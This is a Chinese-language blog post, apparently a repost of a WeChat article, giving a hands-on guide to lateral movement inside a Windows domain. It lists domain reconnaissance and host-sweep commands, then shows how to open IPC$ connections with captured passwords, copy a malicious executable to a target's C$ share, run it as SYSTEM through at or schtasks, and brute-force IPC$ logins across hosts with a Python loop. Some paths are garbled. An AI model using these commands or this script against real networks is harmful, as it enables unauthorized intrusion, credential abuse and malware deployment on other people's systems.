手把手教你如何进行内网渗透《上篇》

admin 2024年10月13日01:21:51评论17 views字数 4470阅读14分54秒阅读模式

手把手教你如何进行内网渗透《上篇》

免责声明

月落星沉研究室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他违法行为!!!

你是否只会打弱口令和明文传输的小漏洞?或是从外网打进内网时找不到方法?废话不多说,仔细观看下面的亲手干货教学

手把手教你如何进行内网渗透《上篇》

内网外网渗透第一步永远是信息收集!!
查看系统详细信息,如OS版本、补丁安装情况,可以根据这些信息筛选可利用的漏洞:

systeminfo

手把手教你如何进行内网渗透《上篇》

查看启动进程,可以根据启动进程判断主机在域中扮演的角色:
net start

手把手教你如何进行内网渗透《上篇》

查看进程列表:
tasklist

手把手教你如何进行内网渗透《上篇》

还有以下指令,大家自己去尝试体会(艾欧尼亚黄铜王者请求出战)
netstat -ano   端口开放情况net view /domain   判断是否存在域ipconfig /all   显示主机,ip,域dnsnet view   查看域内主机net time /domain   域内主机以域服务器时间为准,故该命令可用于判断DC:nslookup 域名 查看ipnet config workstation  查看登入信息whoami /all  查看用户信息net user /domain  查看域内用户,可以将其作为字典,对其他主机的密码进行爆破:for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="探针域内存活主机:
当然也可以借助nmap、masscan等第三方工具或empire、nishang等第三方脚本,但是使用系统命令的最大好处就是不用考虑免杀。

手把手教你如何进行内网渗透《上篇》

内网渗透主要是基于口令的攻击。同一域内的主机不计其数,域用户不计其数,为了便于记忆和管理,域成员的密码很多都会有重合。当我们拿到某个域成员的密码,就可以利用它把口子越撕越大,不断丰富我们的密码字典,然后不断地对域内主机进行爆破,直至拿下DC。

Windows提供了许多协议和相关功能,我们可以利用这些功能和协议传递用户的凭证进行验证。
一、SMB 协议

SMB 一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道(named pipe)等资源。在 TCP/IP 环境下,客户机通过 NetBIOS over TCP/IP(或 NetBEUI/TCP 或 SPX/IPX)连接服务器。一旦连接成功,客户机可发送 SMB命令到服务器上,从而客户机能够访问共享目录、打开文件、读写文件,以及一切在文件系统上能做的所有事情。

在Windows NT中SMB基于NBT实现。而在Windows2000中,SMB除了基于NBT的实现,还有直接通过445端口实现。NBT(NetBIOS over TCP/IP):使用137, 138 (UDP) and 139 (TCP)来实现基于TCP/IP的NETBIOS网际互联。

二、IPC

IPC(Inter-Process Communication,进程间通信),进程间通信是指两个进程的数据之间产生交互。进程间通信主要方式有共享内存、消息队列、管道等。其中共享内存主要用于同一计算机内进程间通信,消息队列和管道主要用于分布式环境(通信进程位于通过网络连接的不同计算机)。

手把手教你如何进行内网渗透《上篇》

与TCP/IP(传输控制协议或internet协议)一样,命名管道是一种通讯协议。它一般用于局域网中,因为它要求客户端必须具有访问服务器资源的权限(SMB协议)
FIFOs是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。因此,我们可以基于此实现对用户名和密码的爆破。需要注意的是,IPC$需要139或445端口的支持。

三、WMI
简单来说,咱们在cmd或者powershell中使用的命令行语言,就是WMI支持的,它提供给我们一个接口如powershell,便于我们管理计算机。

谈及远程管理,延申几个比较重要的端口,如22、23、135、139、445、3389等。139、445端口我们前面已经讨论过了,22端口是linux的ssh,23端口是telnet,3389是远程桌面连接rdp,这些都比较好理解。咱们重点来说一下135端口

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够包括HTTP协议在内的多种网络传输。
  • 进程间通信(IPC)是在多任务操作系统或联网的计算机之间运行的程序和进程所用的通信技术。有两种类型的进程间通信(IPC)。

  • 本地过程调用(LPC):LPC用在多任务操作系统中,使得同时运行的任务能互相会话。这些任务共享内存空间使任务同步和互相发送信息。

  • 远程过程调用(RPC):RPC类似于LPC,只是在网上工作。RPC开始是出现在Sun微系统公司和HP公司的运行UNⅨ操作系统的计算机中。

    简单来说,RPC就是用于支持远程IPC的连接。无论是本地连接还是远程连接,都要依托于VMI服务进行管理。
    总结:SMB协议用于实现共享,IPC用于建立连接,不连接怎么共享?前面已经说了,共享是包括命名管道的,而命名管道正是连接方式,因此SMB协议的共享其实是包含IPC的,不仅如此,它还依赖于IPC连接。但是归根结底,对于连接后的计算机的远程管理,还是要依托于VMI。

手把手教你如何进行内网渗透《上篇》

利用场景:

已拿下内网中一台主机的权限(webserver),掌握该主机的域用户名和密码,知道域内其他用户名。

利用流程:

1.建立IPC连接到目标主机(明文密码)

2.copy要执行的命令脚本到目标主机

3.查看目标时间,创建计划任务(at、schtasks)定时执行copy的脚本

4.删除IPC连接

手把手教你如何进行内网渗透《上篇》

查看当前网络连接:
net use
手把手教你如何进行内网渗透《上篇》
使用明文密码与ip地址的godadministrator用户建立远程IPC连接:
net use \xx.xx.xx.xxipc$ "xxxxxxx" /user:godadministrator

手把手教你如何进行内网渗透《上篇》

先将恶意文件上传到外围打点时拿下权限的webserver上,再通过前面建立的远程IPC连接将恶意文件从webserver copy到目标主机:
copy C:UsersxxxxxxxDesktop亦乐的秘密.exe \xx.xx.xx.xxC$

手把手教你如何进行内网渗透《上篇》

一、at<Windows2012

Windows2012以下版本,添加计时任务:

at \xx.xx.xx.xx 18:50 C:亦乐的秘密.exe
二、schtasks>=Windows2012
Windows2012及以上版本,创建计时任务对应文件:
schtasks /create /s xx.xx.xx.xx /ru "SYSTEM" /tn adduser /sc DAILY /tr C:亦乐的秘密.exe /F
运行adduser任务:
schtasks /run /s xx.xx.xx.xx /tn adduser
删除adduser任务:
schtasks /delete /s xx.xx.xx.xx /tn adduser

三、impacket

impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。

python版impacket下载:

https://github.com/SecureAuthCorp/impacket

exe版impacket下载:

https://gitee.com/RichChigga/impacket-examples-windows

在实战中,当我们拿下了webserver,获取了webserver上的密码以及所有的域用户、本地用户、域内存活主机IP后,我们就可以以用户为用户字典、IP为IP字典、密码为密码字典,进行批量连接(碰撞),探测哪些主机可以成功连接。一旦成功连接,便意味着我们可以通过计划任务等方式拿到连接的主机权限。拿到新的主机权限后,我们就可以获得新的主机密码,然后丰富自己的密码字典,再进行批量连接(碰撞)。循环往复,直至拿下DC。

如上图所示,使用bat脚本只能遍历一个变量,如果想要同时遍历三个变量,可以使用python。例如建立三个列表,使用三个循环进行遍历,循环生成命令执行语句(string),最后使用python os模块中的os.system()函数执行系统命令。但需要注意的是,域内主机上很可能没有python环境,因此我们需要借助python中的pyinstaller模块,它可以将py脚本打包成可执行文件,直接在windows上运行:
pip install pyinstallerpyinstaller -F app.py    1    2import os,timeips={   '192.168.3.21',   '192.168.3.25',   '192.168.3.29',   '192.168.3.30',   '192.168.3.31',   '192.168.3.33'}users={   'Administrator',   'boss',   'dbadmin',   'fileadmin',   'mack',   'mary',   'vpnadm',   'webadmin'}passs={   'admin',   'admin!@#45',   'Admin12345'}for ip in ips:   for user in users:       for mima in passs:           exec="net use "+ ""+ip+'ipc$ '+mima+' /user:god'+user           print('--->'+exec+'<---')           os.system(exec)           time.sleep(1)
大家可以关注上方公众号学习更多新鲜知识和资讯
手把手教你如何进行内网渗透《上篇》

手头没有几个0day也想混网安圈?苦苦寻找没有合适的技战法?护网值守时摸鱼无聊?

为解决这些问题,本团队创建内部群 护网日报群 吐槽分享护网时的各种状况和经验,互相交流技战法(ps:里面还有红队大佬挖出的0day漏洞分享哦),内部群互相学习交流,名额有限大家赶快加入!!

 添加作者微信拉大家进群:linjialelovejesus

手把手教你如何进行内网渗透《上篇》

本文由月落星沉团队编写,欢迎各位网安工程师加入月落安全研究实验室,一起学习交流讨论!群聊已满的添加Vx:linjialelovejesus,备注进群。(已加入一二三四五六群的无需重复加群)

手把手教你如何进行内网渗透《上篇》

原文始发于微信公众号(月落安全):手把手教你如何进行内网渗透《上篇》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日01:21:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手教你如何进行内网渗透《上篇》https://cn-sec.com/archives/1912422.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息